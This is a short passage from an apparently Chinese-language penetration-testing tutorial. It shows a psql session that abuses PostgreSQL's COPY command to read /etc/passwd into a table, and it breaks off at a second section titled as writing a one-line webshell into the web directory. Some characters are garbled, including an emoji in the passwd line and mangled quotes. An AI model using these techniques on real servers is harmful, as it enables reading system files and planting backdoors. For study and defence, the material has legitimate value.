1.通过copy读文件
mickey@pentest:~/Pentest/crack/mdcrack$ psql -h 127.0.0.1 -U postgres
用户 postgres 密码:
psql (8.4.2)
SSL connection (cipher: DHE-RSA-AES256-SHA, bits: 256)
Type “help” for help.
postgres=# create table file(line text);
CREATE TABLE
postgres=# copy file from “/etc/passwd” with delimiter “:”;
ERROR: extra data after last expected column
背景: COPY file, line 1: “root❌0:0:root:/root:/bin/bash”
失败,是由于delimiter的问题,如果要读的文件包含有你指定的delimiter,则会失败,
postgres=# create table file (line text);
CREATE TABLE
postgres=# copy file from “/etc/passwd” with delimiter E”t”;
COPY 47
postgres=# select * from file;
这次就成功了,用pg_read_file(),在实际渗透中不太现实,因为他限制目录访问了。
2.写一句话到web目录
postgres=# create ta